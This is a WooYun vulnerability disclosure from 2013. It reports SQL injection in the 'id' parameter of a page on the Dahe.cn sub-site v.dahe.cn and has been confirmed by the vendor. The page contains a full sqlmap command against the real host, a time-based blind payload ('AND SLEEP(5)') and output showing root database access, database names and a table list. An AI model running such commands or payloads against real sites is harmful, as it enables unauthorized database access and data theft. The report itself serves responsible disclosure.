当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-044983

漏洞标题:大河网#某人气分站存在SQL注射漏洞(root用户)

相关厂商:大河网

漏洞作者: Mr.leo

提交时间:2013-12-05 11:47

修复时间:2014-01-19 11:47

公开时间:2014-01-19 11:47

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-05: 细节已通知厂商并且等待厂商处理中
2013-12-05: 厂商已经确认,细节仅向厂商公开
2013-12-15: 细节向核心白帽子及相关领域专家公开
2013-12-25: 细节向普通白帽子公开
2014-01-04: 细节向实习白帽子公开
2014-01-19: 细节向公众公开

简要描述:

大河网#某人气分站存在SQL注射漏洞(root用户)

详细说明:

站点:
http://v.dahe.cn
WooYun: 大河网某站存在SQL注射漏洞 属于同一站点,URL和参数都不同
id参数没有过滤,导致注射漏洞
sqlmap.py -u "http://v.dahe.cn/includes/shinyv/increase.php?id=3003&option=com_content" -p "id" --dbs --current-user --current-db
[root@Hacker~]# Sqlmap sqlmap.py -u "http://v.dahe.cn/includes/shinyv/increase.p
hp?id=3003&option=com_content" -p "id" --dbs --current-user --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:37:22
[11:37:22] [INFO] resuming back-end DBMS 'mysql'
[11:37:22] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=3003 AND SLEEP(5)&option=com_content
---
[11:37:22] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.14, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
[11:37:22] [INFO] fetching current user
[11:37:22] [INFO] resumed: root@%
current user: 'root@%'
[11:37:22] [INFO] fetching current database
[11:37:22] [INFO] resumed: cis2.1
current database: 'cis2.1'
[11:37:22] [INFO] fetching database names
[11:37:22] [INFO] fetching number of databases
[11:37:22] [INFO] resumed: 5
[11:37:22] [INFO] resumed: information_schema
[11:37:23] [INFO] resumed: cis2.1
[11:37:23] [INFO] resumed: mysql
[11:37:23] [INFO] resumed: shinyv_cis_mms4_2_demo
[11:37:23] [INFO] resumed: test
available databases [5]:
[*] `cis2.1`
[*] information_schema
[*] mysql
[*] shinyv_cis_mms4_2_demo
[*] test
root用户

5567.png


Database: `cis2.1`
[26 tables]
+-----------------------------------+
| `!` |
| `\x03` |
| shinyv_ad |
| shinyv_ad_list_manager |
| shinyv_admintype |
| shinyv_album |
| shinyv_album_cate |
| shinyv_album_content |
| shinyv_album_favorites |
| shinyv_album_top |
| shinyv_album_url |
| shinyv_albumandfeature_categpries |
| shinyv_area |
| shinyv_banner |
| shinyv_bannerclient |
| shinyv_bannerfinish |
| shinyv_blog_cate |
| shinyv_blog_outline |
| shinyv_c |
| shinyv_categories |
| shinyv_categories_tag |
| shinyv_code_converter |
| shinyv_commend_tag |
| shinyv_components |
| shinyv_contact_details |
| shinyv_content |
+-----------------------------------+

漏洞证明:

Database: `cis2.1`
[26 tables]
+-----------------------------------+
| `!` |
| `\x03` |
| shinyv_ad |
| shinyv_ad_list_manager |
| shinyv_admintype |
| shinyv_album |
| shinyv_album_cate |
| shinyv_album_content |
| shinyv_album_favorites |
| shinyv_album_top |
| shinyv_album_url |
| shinyv_albumandfeature_categpries |
| shinyv_area |
| shinyv_banner |
| shinyv_bannerclient |
| shinyv_bannerfinish |
| shinyv_blog_cate |
| shinyv_blog_outline |
| shinyv_c |
| shinyv_categories |
| shinyv_categories_tag |
| shinyv_code_converter |
| shinyv_commend_tag |
| shinyv_components |
| shinyv_contact_details |
| shinyv_content |
+-----------------------------------+

修复方案:

1#过滤参数

版权声明:转载请注明来源 Mr.leo@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2013-12-05 11:51

厂商回复:

厂商正在修复,感谢你的支持!

最新状态:

暂无